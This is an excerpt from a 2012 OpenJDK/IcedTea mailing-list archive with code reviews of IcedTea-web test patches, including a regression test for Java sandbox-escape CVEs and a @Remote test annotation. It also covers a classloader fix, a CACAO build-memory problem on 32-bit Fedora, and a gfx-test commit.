+exception statement from your version. > + */ > + > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.annotations.Bug; > +import net.sourceforge.jnlp.browsertesting.BrowserTest; > +import net.sourceforge.jnlp.browsertesting.Browsers; > +import net.sourceforge.jnlp.annotations.NeedsDisplay; > +import net.sourceforge.jnlp.annotations.TestInBrowsers; > +import net.sourceforge.jnlp.closinglisteners.AutoOkClosingListener; > +import org.junit.Assert; > + > +import org.junit.Test; > + > +public class BeansStatementBreakSandboxTests extends BrowserTest { > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementBreakSandboxTestWS() throws Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementBreakSandboxWS.jnlp", new > AutoOkClosingListener(),null, null); > Why does javaws needs a closing listener here ? > + evaluate(pr); > + } > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementBreakSandboxTesWsApplet() throws > Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementBreakSandboxApplet.jnlp", new > AutoOkClosingListener(),null, null); > + evaluate(pr); > + } > + > + @Test > + @TestInBrowsers(testIn = {Browsers.all}) > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementBreakSandboxTestApplet() throws Exception { > + ProcessResult pr = > server.executeBrowser("/BeansStatementBreakSandbox.html", new > AutoOkClosingListener(),null); > + evaluate(pr); > + Assert.assertTrue(pr.wasTerminated); > + } > + > + private void evaluate(ProcessResult pr) { > + Assert.assertTrue("Output of reproducerwas empty => it was > not run", (pr.stdout.length() > 0)); > + Assert.assertTrue("Output of reproducerwas have not > contained 'Running GondvvTest' => it was not run", > (pr.stdout.contains("Running GondvvTest"))); > + Assert.assertFalse("Output of reproducer contained FAIL, that > means that exploit have hacked your system", > (pr.stdout.contains("FAIL:"))); > + > + } > +} Looks OK from my end, but do answer to Omair :-) -Adam From adomurad at redhat.com Mon Dec 17 11:07:47 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 14:07:47 -0500 Subject: [rfc][icedtea-web] @Remote and automated manual testcases In-Reply-To: <5032730C.6060706@redhat.com> References: <5032730C.6060706@redhat.com> Message-ID: <50CF6D83.7030005@redhat.com> On 08/20/2012 01:25 PM, Jiri Vanek wrote: > hi! > > I would like to introduce Remote annotation for launching remote jnlp > files (and appelts). Especially for automation of > http://icedtea.classpath.org/wiki/IcedTea-Web-Tests . > > For jnlp files I would like to continue in way as suggested in patch > (as most of them for now do not have any output :-/ [but I know that a > lot of *have* output to check]). > > For applets there will be challenge to deal with various certficates, > but it will be possible by new robot-like engien we are trying now in > brno. > > Currently the remote tests are run in default and no sign of @remote > is in html report. But both will be fixed in case that this annotation > and automatism will be found worthy. > Also some changes in wiki I would like to introduce after this > automation is done. eg for now it will be like: > > ... > IcedTea-Web webstart test applications > > Note: A lot of these are not Free Software. > http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp > (automated) > http://www.arbores.ca/AnnuityCalc.jnlp (automated) > http://www.ucware.com/apev/jaws/apev.jnlp (not working, one needs > paied account) > http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp > (sometimes do not start, always starts with -Xtrustall, automated) > http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp > (automatised, with -Xnofork, otherwise do not close correctly) > http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp > (automated) > http://www.crossftp.com/crossftp.jnlp (trial, can't be automated) > http://www.arbores.ca/Deposit.jnlp > http://java.sun.com/javase/technologies/desktop/javawebstart/apps/draw.jnlp > > ... > > Where automatised can be links to test files. > > Hope that this is worthy. > > There is close connection with [rfc][icedtea-web] do exec java > instead of plain java in javaws. If it will not able to go in, then I > will need to add some killing mechanism (eg as the one in DeadlockTest > - Xfork tests) Thanks for the ping! This would be nice to have. My current solution for remote tests is a little bash script :-) I assume everything needed is in now, yes ? > > > Regards, > J. > diff -r 6e84854aecba > tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java > Mon Aug 20 18:42:19 2012 +0200 > @@ -0,0 +1,52 @@ > +/* Bug.java > +Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +package net.sourceforge.jnlp.annotations; > + > +import java.lang.annotation.ElementType; > +import java.lang.annotation.Retention; > +import java.lang.annotation.RetentionPolicy; > +import java.lang.annotation.Target; > + > +/** > + * Mark for tests running content on remote servers > + */ > + at Target({ElementType.TYPE}) > + at Retention(RetentionPolicy.RUNTIME) > +public @interface Remote { > + > +} > diff -r 6e84854aecba tests/junit-runner/JunitLikeXmlOutputListener.java > --- a/tests/junit-runner/JunitLikeXmlOutputListener.java Sun Aug 19 > 16:50:30 2012 +0200 > +++ b/tests/junit-runner/JunitLikeXmlOutputListener.java Mon Aug 20 > 18:24:47 2012 +0200 > @@ -23,6 +23,7 @@ > import java.util.concurrent.TimeUnit; > import net.sourceforge.jnlp.annotations.Bug; > import net.sourceforge.jnlp.annotations.KnownToFail; > +import net.sourceforge.jnlp.annotations.Remote; > > > import org.junit.internal.JUnitSystem; > @@ -49,6 +50,7 @@ > private static final String BUGS = "bugs"; > private static final String BUG = "bug"; > private static final String K2F = "known-to-fail"; > + private static final String REMOTE = "remote"; > private static final String TEST_NAME_ATTRIBUTE = "name"; > private static final String TEST_TIME_ATTRIBUTE = "time"; > private static final String TEST_IGNORED_ATTRIBUTE = "ignored"; > @@ -198,6 +200,7 @@ > testcaseAtts.put(TEST_IGNORED_ATTRIBUTE, > Boolean.TRUE.toString()); > } > KnownToFail k2f=null; > + Remote remote=null; > try { > if (testClass != null && testMethod != null) { > k2f = testMethod.getAnnotation(KnownToFail.class); > @@ -208,6 +211,16 @@ > } catch (Exception ex) { > ex.printStackTrace(); > } > + try { > + if (testClass != null && testMethod != null) { > + remote = > testMethod.getClass().getAnnotation(Remote.class); > + if (k2f != null) { > + testcaseAtts.put(REMOTE, Boolean.TRUE.toString()); > + } > + } > + } catch (Exception ex) { > + ex.printStackTrace(); > + } > openElement(TEST_ELEMENT, testcaseAtts); > if (testFailed != null) { > if (k2f != null) { > diff -r 6e84854aecba tests/junit-runner/LessVerboseTextListener.java > --- a/tests/junit-runner/LessVerboseTextListener.java Sun Aug 19 > 16:50:30 2012 +0200 > +++ b/tests/junit-runner/LessVerboseTextListener.java Mon Aug 20 > 18:24:47 2012 +0200 > @@ -8,6 +8,7 @@ > import java.io.PrintStream; > import java.lang.reflect.Method; > import net.sourceforge.jnlp.annotations.KnownToFail; > +import net.sourceforge.jnlp.annotations.Remote; > > import org.junit.internal.JUnitSystem; > import org.junit.runner.Description; > @@ -37,6 +38,7 @@ > public void testIgnored(Description description) throws Exception { > writer.println("Ignored: " + description.getClassName() + "." > + description.getMethodName()); > printK2F(writer, null, description); > + printRemote(writer, description); > } > > > @@ -45,6 +47,7 @@ > testFailed = true; > writer.println("FAILED: " + failure.getTestHeader() + " " + > failure.getMessage()); > printK2F(writer,true,failure.getDescription()); > + printRemote(writer, failure.getDescription()); > } > > @Override > @@ -52,6 +55,7 @@ > if (!testFailed) { > writer.println("Passed: " + description.getClassName() + > "." + description.getMethodName()); > printK2F(writer,false,description); > + printRemote(writer, description); > } > } > > @@ -114,4 +118,30 @@ > return null; > } > > + > + > + public static Remote getRemote(Description description) { > + try { > + Class q = description.getTestClass(); > + if (q != null) { > + Remote rem = (Remote) q.getAnnotation(Remote.class); > + return rem; > + } > + } catch (Exception ex) { > + ex.printStackTrace(); > + } > + return null; > + } > + > + > + private void printRemote(PrintStream writer, Description > description) { > + try { > + Remote rem = getRemote(description); > + if (rem!=null) { > + writer.println(" - This test is running remote > content, can fail without any internal reason"); Maybe clearer is 'This test is running remote content, note that failures may be caused by broken applications" > + } > + } catch (Exception ex) { > + ex.printStackTrace(); > + } > + } > } This part looks OK otherwise. > diff -r 6e84854aecba tests/reproducers/custom/remote/srcs/Makefile Good idea treating this as custom-reproducer > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/reproducers/custom/remote/srcs/Makefile Mon Aug 20 > 18:42:19 2012 +0200 > @@ -0,0 +1,5 @@ > +prepare-reproducer: > + echo "Nothing to do to prepare remote reproducers now" > + > +clean-reproducer: > + echo "Nothing to do to clean remote reproducers now" > diff -r 6e84854aecba > tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java > Mon Aug 20 18:42:19 2012 +0200 > @@ -0,0 +1,126 @@ > +/* RemoteApplicationTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.net.MalformedURLException; > +import java.net.URL; > +import net.sourceforge.jnlp.ProcessResult; > +import org.junit.Assert; > +import org.junit.Test; > + > +; > + > +public class RemoteApplicationSettings { > + > + public static interface RemoteApplicationTestcaseSettings { > + > + public URL getUrl() throws MalformedURLException; Checked exceptions suck ... no point here, just ranting :-D > + > + public void evaluate(ProcessResult pr); > + } > + > + public static class FourierTransform implements > RemoteApplicationTestcaseSettings { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp"); > + } > + > + @Override > + public void evaluate(ProcessResult pr) { > + Assert.assertTrue(pr.stdout.length() == 0); > + Assert.assertTrue(pr.stderr.length() == 0 || > pr.stderr.contains(IllegalStateException.class.getName())); Why is this illegal state exception valid ? > + > + } > + } > + > + public abstract static class NoOutputs implements > RemoteApplicationTestcaseSettings { > + > + @Override > + public void evaluate(ProcessResult pr) { > + Assert.assertTrue(pr.stdout.length() == 0); > + Assert.assertTrue(pr.stderr.length() == 0); > + > + } > + } Although I'd make this a concrete class that accepts the URL string, I guess tons of classes is fine if you like that sort of thing :-) > + > + public static class Arbores extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new URL("http://www.arbores.ca/AnnuityCalc.jnlp"); > + } > + } > + > + public static class PhetSims extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp"); > + } > + } > + > + public static class TopCoder extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp"); > + } > + } > + > + public static class SunSwingDemo extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp"); > + } > + } > + > + @Test > + public void remoteApplicationSettingsAreWorking() throws Exception { > + RemoteApplicationTestcaseSettings s5 = new FourierTransform(); > + Assert.assertNotNull(s5.getUrl()); > + RemoteApplicationTestcaseSettings s4 = new Arbores(); > + Assert.assertNotNull(s4.getUrl()); > + RemoteApplicationTestcaseSettings s3 = new PhetSims(); > + Assert.assertNotNull(s3.getUrl()); > + RemoteApplicationTestcaseSettings s2 = new TopCoder(); > + Assert.assertNotNull(s2.getUrl()); > + RemoteApplicationTestcaseSettings s1 = new SunSwingDemo(); > + Assert.assertNotNull(s1.getUrl()); > + > + } > +} > diff -r 6e84854aecba > tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java Mon > Aug 20 18:42:19 2012 +0200 > @@ -0,0 +1,89 @@ > +/* RemoteApplicationTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.util.Arrays; > +import java.util.Collections; > +import java.util.List; > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.ServerAccess; > +import net.sourceforge.jnlp.annotations.Remote; > +import org.junit.Test; > + > + at Remote > +public class RemoteApplicationTests { > + > + private static ServerAccess server = new ServerAccess(); > + private final List l = > Collections.unmodifiableList(Arrays.asList(new String[]{"-Xtrustall"})); > + private final List ll = > Collections.unmodifiableList(Arrays.asList(new String[]{"-Xtrustall", > "-Xnofork"})); > + > + > + @Test > + public void topCoderRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.TopCoder(); > + ProcessResult pr = server.executeJavawsUponUrl(ll, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + @Test > + public void sunSwingRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.SunSwingDemo(); > + ProcessResult pr = server.executeJavawsUponUrl(l, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + > + @Test > + public void fourierTransformRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.FourierTransform(); > + ProcessResult pr = server.executeJavawsUponUrl(null, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + @Test > + public void arboresRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.Arbores(); > + ProcessResult pr = server.executeJavawsUponUrl(l, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + @Test > + public void phetsimsRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.PhetSims(); > + ProcessResult pr = server.executeJavawsUponUrl(l, > settings.getUrl()); > + settings.evaluate(pr); > + } > +} Looks good, OK for HEAD -Adam From adomurad at redhat.com Mon Dec 17 12:34:45 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 15:34:45 -0500 Subject: Regression in icedtea-web - parent classsloader have been stopped to be invoked In-Reply-To: <50CF3042.1060908@redhat.com> References: <50CF3042.1060908@redhat.com> Message-ID: <50CF81E5.4030603@redhat.com> On 12/17/2012 09:46 AM, Jiri Vanek wrote: > After this commit - > changeset: 514:855087771e7e > tag: tip > user: Adam Domurad > date: Tue Aug 28 14:36:06 2012 -0400 > summary: Fix for PR920: Classes attempted to load twice when > class extends from outside jar > > There is regression that parent class loader is never used for > searching in classes. I blame also review a lot (me:-/) because > unittest was broken by this commit. > > See: > CodeBaseClassLoaderTest.testParentClassLoaderIsAskedForClassesApplication > as reproducer. > > Sorry for late notification, > J. Thanks for pointing this out (or rather forcing me to accept this wasn't a bad-test, quite good one in fact :), easy fix: 2012-XX-XX Adam Domurad Fix breakage in unit test CodeBaseClassLoaderTest.testParentClassLoaderIsAskedForClassesApplication * netx/net/sourceforge/jnlp/runtime/JNLPClassLoader.java (CodeBaseClassLoader#findClassNonRecursive): New, call into URLClassLoader#findClass (CodeBaseClassLoader#findClass): Delegate JNLPClassLoader#findClass (JNLPClassLoader#findClass): Call CodeBaseClassLoader#findClassNonRecursive * tests/reproducers/custom/AppletExtendsFromOutsideJar/srcs/AppletReferenceOutOfJar.java (init): Add applet finish message. * tests/reproducers/custom/AppletExtendsFromOutsideJar/testcases/AppletExtendsFromOutsideJarTests.java (testClassInAppletFolder): Close quickly on applet finish message. The basics of it come down to that the original code (pre-patch) was essentially correct except it did: - if (!recursivelyInvoked) { - try { - return parentJNLPClassLoader.findClass(name); - } catch (ClassNotFoundException cnfe) { <<<< This should not have been squelched - // continue - } - } The reproducer (AppletExtendsFromOutsideJar) works with the original (pre -r514) version with the try and catch gone. The specifics are hard for me to determine but it does cause the body of CodeBaseLoader#findClass to potentially occur twice on a CNFE. Thanks! -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: fixunittest-askedforparent.patch Type: text/x-patch Size: 3614 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/4348069c/fixunittest-askedforparent.patch From stefan at complang.tuwien.ac.at Mon Dec 17 15:08:25 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 00:08:25 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: >> I believe this machine should have enough memory: >> # free -m >> total used free shared buffers cached >> Mem: 4040 1699 2340 0 107 1183 >> -/+ buffers/cache: 409 3630 >> Swap: 5599 0 5599 > > Hmm, no idea. Works for me... But if you can, you should try adding more swap space. For some reason, the JVM gobbles up huge amounts of virtual address space lately. Regards Stefan From gnu.andrew at redhat.com Mon Dec 17 15:24:43 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Mon, 17 Dec 2012 18:24:43 -0500 (EST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: <1714143919.16891851.1355786683209.JavaMail.root@redhat.com> ----- Original Message ----- > > Thanks for all the help, Stefan. I continue to make progress. I have > run the following: > > > # cd /opt > > # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ > # hg clone http://icedtea.classpath.org/hg/icedtea7 > # cd icedtea7 > # hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 > # hg merge tip > # hg ci -m merge > # ./autogen.sh > # ./configure --enable-cacao --disable-bootstrap > --with-cacao-src-dir=/opt/cacao > # make > > > The compile begins, but soon fails with the following: > > make[6]: Entering directory > `/opt/icedtea7/openjdk/corba/make/tools/strip_properties' > /opt/icedtea7/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=768 > -J-XX:-PrintVMOptions -J-XX:+UnlockDiagnosticVMOptions > -J-XX:-LogVMOutput -J-client -J-Xmx1536m -J-Xms1536m > -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -encoding ascii -source 6 > -target 6 -d /opt/icedtea7/openjdk.build/corba/btclasses \ > -sourcepath ../../tools/src > ../../tools/src/build/tools/stripproperties/StripProperties.java > Error occurred during initialization of VM > Could not reserve enough space for object heap > Error: Could not create the Java Virtual Machine. > Error: A fatal exception has occurred. Program will exit. > > > > > I believe this machine should have enough memory: > # free -m > > > total used free shared buffers cached > Mem: 4040 1699 2340 0 107 1183 > -/+ buffers/cache: 409 3630 > Swap: 5599 0 5599 Generally, this means -J-Xmx1536m needs a bigger value. But given how early and on what this occurs, I think the VM may not have been built correctly. Can you fire up the built VM to do -version? -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From gregjo at yahoo.com Mon Dec 17 17:10:03 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Mon, 17 Dec 2012 17:10:03 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1714143919.16891851.1355786683209.JavaMail.root@redhat.com> References: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1714143919.16891851.1355786683209.JavaMail.root@redhat.com> Message-ID: <1355793003.66027.YahooMailNeo@web125004.mail.ne1.yahoo.com> > >> I believe this machine should have enough memory: >> # free -m >> >> >> total used free shared buffers cached >> Mem: 4040 1699 2340 0 107 1183 >> -/+ buffers/cache: 409 3630 >> Swap: 5599 0 5599 > >Generally, this means -J-Xmx1536m needs a bigger value.? But given how >early and on what this occurs, I think the VM may not have been built correctly. > >Can you fire up the built VM to do -version? >-- >Andrew :) > > > > > I'm not sure which version you wanted me to use, so I did all I could find. :-) [greg at fedora17 icedtea7]$ ./openjdk.build/langtools/dist/bootstrap/bin/javac -version javac 1.7.0_12_bootstrap [greg at fedora17 icedtea7]$ ./openjdk.build/langtools/build/bootstrap/bin/javac -version javac 1.7.0_12_bootstrap [greg at fedora17 icedtea7]$ ./javac -version javac 1.7.0_09 [greg at fedora17 icedtea7]$ ./cacao/install/bin/java -version java version "1.6.0" CACAO version 1.6.0+ra97f753cfb7a Copyright (C) 1996-2012 CACAOVM - Verein zur Foerderung der freien virtuellen Maschine CACAO This is free software; see the source for copying conditions. ?There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/7507c8df/attachment.html From gregjo at yahoo.com Mon Dec 17 17:10:17 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Mon, 17 Dec 2012 17:10:17 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> > >> I believe this machine should have enough memory: >>> # free -m >>>? ? ? ? ? ? ? total? ? ? used? ? ? free? ? shared? ? buffers? ? cached >>> Mem:? ? ? ? ? 4040? ? ? 1699? ? ? 2340? ? ? ? ? 0? ? ? ? 107? ? ? 1183 >>> -/+ buffers/cache:? ? ? ? 409? ? ? 3630 >>> Swap:? ? ? ? 5599? ? ? ? ? 0? ? ? 5599 >> >> Hmm, no idea. Works for me... > >But if you can, you should try adding more swap space. For some >reason, the JVM gobbles up huge amounts of virtual address space >lately. > >Regards >Stefan > > > > > I have rather beefy hardware, so I allocated 24GB of RAM to my Fedora 17 virtual machine. That didn't change anything. Then I looked at Stefan's comments from "uname", and that's where I saw the difference. You are using a 64 bit OS, and I'm using 32 bit. I sifted through the configuration files and saw that memory allocations are made based on whether the OS is 32-bit or not. I saw that in a file called Defs-java.gmk. So I spun up a VM running the 64 bit version of Fedora, and ran the same build instructions. This time it appears to have completed successfully. My eventual goal is to build CACAO on the Raspberry Pi. The Fedora Remix for the Raspberry Pi is 32-bit. So the build scripts would need to be configured to work correctly.? I don't understand what files would need to be modified to accommodate a successful 32-bit build. Suggestions? Does a bug report need to be filed? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/142aa414/attachment.html From ptisnovs at icedtea.classpath.org Tue Dec 18 00:47:54 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 18 Dec 2012 08:47:54 +0000 Subject: /hg/gfx-test: Added new tests into src/org/gfxtest/testsuites/Pa... Message-ID: changeset 33c1e093e894 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=33c1e093e894 author: Pavel Tisnovsky date: Tue Dec 18 09:50:58 2012 +0100 Added new tests into src/org/gfxtest/testsuites/Paths.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/Paths.java | 286 ++++++++++++++++++++++++++++++++++ 2 files changed, 291 insertions(+), 0 deletions(-) diffs (308 lines): diff -r 374fe54a78bf -r 33c1e093e894 ChangeLog --- a/ChangeLog Mon Dec 17 09:47:21 2012 +0100 +++ b/ChangeLog Tue Dec 18 09:50:58 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-18 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/Paths.java: + Added new tests. + 2012-12-17 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltBasicTests.java: diff -r 374fe54a78bf -r 33c1e093e894 src/org/gfxtest/testsuites/Paths.java --- a/src/org/gfxtest/testsuites/Paths.java Mon Dec 17 09:47:21 2012 +0100 +++ b/src/org/gfxtest/testsuites/Paths.java Tue Dec 18 09:50:58 2012 +0100 @@ -478,6 +478,292 @@ } /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathFloatContainingQuadraticSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathFloatContainingQuadraticSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathDoubleContainingQuadraticSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathDoubleContainingQuadraticSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathFloatContainingCubicSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathFloatContainingCubicSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathDoubleContainingCubicSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathDoubleContainingCubicSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if line path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * Line path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testLinePathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawLinePathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if line path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with 